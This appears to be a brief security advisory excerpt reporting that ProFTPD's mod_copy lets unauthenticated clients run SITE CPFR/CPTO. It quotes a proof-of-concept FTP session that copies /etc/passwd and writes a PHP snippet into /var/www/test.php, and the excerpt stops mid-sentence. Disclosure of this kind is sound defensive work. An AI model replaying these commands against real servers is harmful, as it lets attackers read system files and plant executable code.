Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
